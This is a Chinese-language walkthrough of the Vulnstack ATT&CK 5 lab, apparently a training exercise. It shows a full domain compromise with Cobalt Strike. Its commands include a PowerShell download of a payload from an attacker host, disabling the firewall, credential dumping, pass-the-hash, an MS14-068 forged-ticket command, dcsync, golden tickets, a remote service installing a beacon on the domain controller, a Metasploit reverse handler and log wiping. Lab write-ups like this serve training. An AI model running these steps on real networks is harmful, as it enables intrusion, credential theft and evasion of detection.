前言

这是老以前做的一个,主要熟悉一下cs4的新特性,还是发出来看看吧,流程简单一些,但是内网流程还是比较完整的。大家可以看看

  • 本次靶机为红日安全的ATT&CK第五个靶场。
  • http://vulnstack.qiyuanxuetang.net/vuln/detail/7/
  • 思路参考 记一次在Vulnstack ATT&CK 5 靶场中使用CobaltStrike的渗透之旅
  • 文章中如有错误的地方望大佬指正。
  • 菜鸡文章望大佬勿喷。

0x00信息收集

Namp 扫一下

发现 80 3306

image-20200326201051940

访问一下发现thinkphp5 记得是有rce的

image-20200326201233266

searchsploit thinkphp

有货

0x00入口权限获取

image-20200326201527710

cool可以用

image-20200326202900905

上传的姿势太多了,我就使用一个最简单的

使用powershell 下载 CS payload

1
2
3
4
5
powershell (new-object Net.WebClient).DownloadFile('http://192.168.203.140/a.ps1','C:\phpstudy_pro\WWW\a.ps1')


推荐可以直接放到C:\\Windows\\Temp\\里面
C:\\Windows\\Temp\\payload.exe

image-20200326210649920

运行 直接上线 调整 sleep 1

image-20200326210928665

0x01 提权

权限比较低,需要提权

image-20200326212306328

我生成了一个名为Priv Esclistenerpayload:tcp beacon)(建议勾选Bind to localhost only

为什么要勾选呢?作者的话:(反正就是勾选就对了)

image-20200326214136126

svc-exe

svc-exe这个参数,并不是和exp提权那样,帮你从普通用户 ”pwn!!“ 一下子拿下系统,而是当管理员权限满足不了你的时候,可以用svc-exe进行提升(类似getsystem命令,但是getsystem不太好使)

image-20200326214328389

evelate svc-exe

提权成功

image-20200326214552334

0x02 横向移动

切换到高权限用户

通过 explore-Process List 先查看一下进程,看看有没有杀毒软件

???

这个靶机怎么可能有?但是流程还是要走一下的

image-20200326223213666

关闭防火墙

使用命令 netsh advfirewall set allprofiles state off 关闭防火墙

image-20200326223531572

内网的信息搜集

网段的端口扫描,得来一下意思意思吧

image-20200328161638642

然后查看域的信息

1
net view /domain

image-20200326223828278

还可以用cs4的新增命令

1
2
net domain
net domain_controllers

image-20200327095731157

1
2
老方法
run net config workstation

image-20200326225030947

工作站域是 sun.com

可现在登录域是 win7

因此我们需要一个域用户的进程来进行信息搜集

我们需要一个域用户

先调用 Logonpasswords 抓一波密码

image-20200326232857399

还可以直观的看一下view- credentials

(因为是靶机,你最好把win7 的账户都登陆一下,否则只能抓到一个账户)

image-20200326233306356

那我们拿到了这些凭据如何去调用他们呢?

切换回 本地管理员的beacon上 使用凭证有三种方法

  • 第一种:使用make_token去调用
  • 第二种:使用pth命令生成一个新的进程注入进去
  • 第三种:使用spawn as

第一种:Make_token

Make_token是在当前的 beacon 上进行身份伪造
在当前beacon上,您的权限、权限或标识没有变化。但是,当您与远程资源交互时,使用的是您
伪造的身份.

先本地测试试命令,这个命令本地用户是用不了的,所以我们make_token一个域用户

1
net group “domain admins” /domain

image-20200327154254921

有之前抓取的密码 域用户 leo 123.com

1
2
3
make_token SUN.COM/leo 123.com

# 注意域是SUN 要写成SUN.COM 才可以

image-20200327155758470

第二种:使用pth命令生成一个新的进程注入进去

1
pth SUN.COM\leo NTMLhash

image-20200327162629958 image-20200327163003948

找到PID

然后steal_token PID 成功执行域命令

1
steal_token 3860

image-20200327163217871

第三种:使用spawn as

spawnas 命令生成具有其他用户凭据的 beacon

用图形化不香吗?

image-20200327163723794

image-20200327163840163 image-20200327164306023

或者命令

1
spawnas SUN.COM/leo 123.com

第四中 进程注入到域用户的进程中,但必须得是 高权用户

那我使用system权限进入,找到域用户进程

image-20200327172102489

就会多出来一个用户的beacon,成功

image-20200327172157356

0x03 域内信息收集

有了域用户,那么就可以在域内收集信息

方法太多了,我只简单的介绍CS里面东西

1
2
net view
net view sun

image-20200327172649479

查看信任域

image-20200327174110848

查看域内计算机

image-20200327175106085

查看域控

1
2
3
net dclist sun

这是输入sun域就可以,不用 sun.com

image-20200327175950669

查看域管理员

Net group \\sun.com domain admin

image-20200327175654595

查看所有用户

image-20200327175842362

看下sid

image-20200327180720472

信息汇总

域管理员默认没有。。。因为我们还要提权操作

1
2
3
4
5
6
7
8
9
10
11
域名:sun.com
域管理员:sun\administrator
域用户:administrator,admin,leo和一个krbtgt
域控:DC
域成员:DC,Win7
域控ip:192.168.138.138
用户sid:S-1-5-21-3388020223-1982701712-4030140183-1110
域sid:S-1-5-21-3388020223-1982701712-4030140183
已知凭据:sun\leo:123.com,win7\heart:123.com


域提权

我们利用之前所收集到的信息进行域提权的操作
只能上 ms14-068 域提权一波了

先上传exp

image-20200327214328684

生成伪造缓存

1
shell MS14-068.exe -u leo\@sun.com -p 123.com -s S-1-5-21-3388020223-1982701712-4030140183-1110 -d 192.168.138.138

image-20200327214251809

此时会生成[email protected]的伪造缓存文件。

mimikatz kerberos::purge 清空当前机器中所有凭证

mimikatz kerberos::list 查看当前机器凭证

导入伪造缓存前面

image-20200327214615296

用mimikaze

mimikatz kerberos::ptc TGT_leo\@sun.com.ccache 将票据注入到内存中

image-20200327215045968

成功提取,读取到了数据

image-20200327215118510

0x04横向到域控

正向连接

image-20200327220257321 image-20200327220438029

拿下DC

image-20200327221244226

反向beacon连接

先建立一个listener

image-20200327223051295 image-20200327223240172

生成一个生成一个 stageless payload ,这里选用的是服务exe

image-20200327223416979

选取刚刚的listener

image-20200327223647279

生成exe

我起名叫godc.exe

1
2
3
4
然后访问
\\DC\\C$

upload 上传payload

image-20200327223943767

加入注册表

1
2
3
4
5
6
主要这里有个坑
1 是\\ / 这俩要分清
2 还有就是 binpath= “C://” 这尼玛中间有个空格一定不能省略!!!!
binpath=空格“C://”

run sc \\DC create godc binpath= "C:/godc.exe"

image-20200327225802945

启动服务

1
run sc \\DC start godc

image-20200327231414966

机子也是反向链接回来的,注意箭头

image-20200327232435244

在内网环境中可以使用ipc $生成的SMB Beacon上传到目标主机执行,但是目标主机并不会直接上线的,需要我们自己用链接命令(link )去连接他。

link操作 只能是smb beacon

所以Leo那个是tcp的不能link操作

1
2
3
4
也要先调用凭据,远程命令执行
关闭防火墙

remote-exec wmi DC netsh advfirewall set allprofiles state off

0x05 权限维持

黄金票据(golden ticket)

1、首先我们需要先利用 logonpasswords 抓一波明文(在名为DC的Beacon进行操作)

image-20200327234654469

2、使用 dcsync 命令导出 krbtgt 的NTLM Hash

image-20200327235127313

或者,使用 hashdump 也可以导出hash

image-20200328000516193

到手

image-20200328000458986

3、为了方便于实践黄金票据

1
2
找一个低权限的用户 ls \\DC\C$
要进行对比

image-20200328124712214

制造黄金票据

image-20200328122338474

可以运行

image-20200328124627029

清除票据

1
kerberos_ticket_purge

0x06 通道的构建

会话的派生

打开msf监听

1
2
3
4
5
6
7
8
9
10
11
12
13
14

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost
msf5 exploit(multi/handler) > set lhost x.x.x.x
lhost => x.x.x.x
msf5 exploit(multi/handler) > set lport 6668
lport => 6668
msf5 exploit(multi/handler) > run


msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost
set lhost 127.0.0.1 set lhost eth0
set lhost 172.21.0.4 set lhost fe80::5054:ff:fe89:7f0f%eth0
set lhost ::1 set lhost lo
msf5 exploit(multi/handler) > set lhost 49.233.129.171
lhost => 49.233.129.171
msf5 exploit(multi/handler) > set lport 6668
lport => 6668
msf5 exploit(multi/handler) > run

image-20200328171237582

CS搭建SOCKS代理都说不稳,所以转到MSF上

0x07清除日志

推荐脚本用奇安信A-Team写的脚本

链接:https://github.com/QAX-A-Team/EventLogMaster

0x08 小结

  • 思路参考 记一次在Vulnstack ATT&CK 5 靶场中使用CobaltStrike的渗透之旅
  • 文章中如有错误的地方望大佬指正。
  • 菜鸡文章望大佬勿喷。